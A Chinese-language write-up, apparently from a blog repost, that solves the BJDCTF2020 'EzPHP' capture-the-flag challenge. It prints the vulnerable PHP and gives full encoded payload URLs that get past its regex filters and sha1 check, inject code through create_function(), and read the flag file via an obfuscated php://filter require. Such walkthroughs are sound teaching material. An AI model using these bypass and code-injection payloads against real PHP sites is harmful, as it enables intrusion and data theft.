[BJDCTF2020]----EzPHP

本文主要是介绍[BJDCTF2020]----EzPHP，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

查看题目，右键源代码，发现GFXEIM3YFZYGQ4A=，base64解码：1nD3x.php

访问1nD3x.php，代码审计，一步一步分析

 <?php
highlight_file(__FILE__);
error_reporting(0); $file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  die('You seem to want to do something bad?'); 
}if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";} 
} else die('fxck you! What do you want to do ?!');if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); } 
} if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { include "flag.php";$code('', $arg); 
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
Aqua is the cutest five-year-old child in the world! Isn't it ?

pass-1

if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  die('You seem to want to do something bad?'); 
} 

$_SERVER['QUERY_STRING']返回传入的参数，不进行url编码，而get传参时，会url编码，解析时自动url解码，也就是说我们可以将传参进行url编码绕过

什么意思呢？
http://localhost/index.php?file=flag.php
经过$_SERVER['QUERY_STRING’]它返回file=flag.php，不允许出现flag，将flagurl编码成f%6clg

pass-2

if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";} 
} else die('fxck you! What do you want to do ?!'); 

&d%65bu=%65qua_is_cut%65%0a

preg_match(^$)绕过，在最后加入%0a(换行符),进行绕过

pass-3

if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); } 
}

$_REQUEST,可以进行get，post传参，但是post的优先级大于get，所以当get传值后，以post提交数字，就可以覆盖get值，进行绕过

pass-4

if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

文件读取，文件中必须有debu_debu_aqua值，但是http被过滤，远程文件包含失效，想到data协议

&file=data://text/plain,debu_debu_aqua

pass-5

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

sha1和md5一样，强等于，可以使用数组绕过shana[]=1&passwd[]=2

payload

?de%62u=a%71ua_is_cuta%0a&file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2

pass-6

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { include "flag.php";$code('', $arg); 
} 

create_function()绕过，简单来讲就是找闭合点,\$code和\$arg是可控的

function create($a,$b){return $a*$b
}'$a*$b'就是$arg ,控制$arg为 '}执行的代码;//'
$code为create_function,payload:
flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//

?de%62u=a%71ua_is_cuta%0a&file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}%76%61%72%5f%64%75%6d%70(%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73());//

pass-7

flag在fl4g.php,使用php伪协议require读取fl4g.php文件（因为include被过滤），使用取反绕过正则匹配

require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F))

1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%3b%62%61%73%65%36%34%2c%5a%47%56%69%64%56%39%6b%5a%57%4a%31%58%32%46%78%64%57%45%3d&%73%68%61%6e%61[]=a&%70%61%73%73%77%64[]=b&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//

~V�<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
<title>Real_Flag In Here!!!</title>
</head>
</html>
<?phpecho "咦，你居然找到我了？！不过看到这句话也不代表你就能拿到flag哦！";$f4ke_flag = "BJD{1am_a_fake_f41111g23333}";$rea1_f1114g = "flag{c538bf61-54c9-4c2a-9efd-d3e074438533}";unset($rea1_f1114g);

这篇关于[BJDCTF2020]----EzPHP的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！

---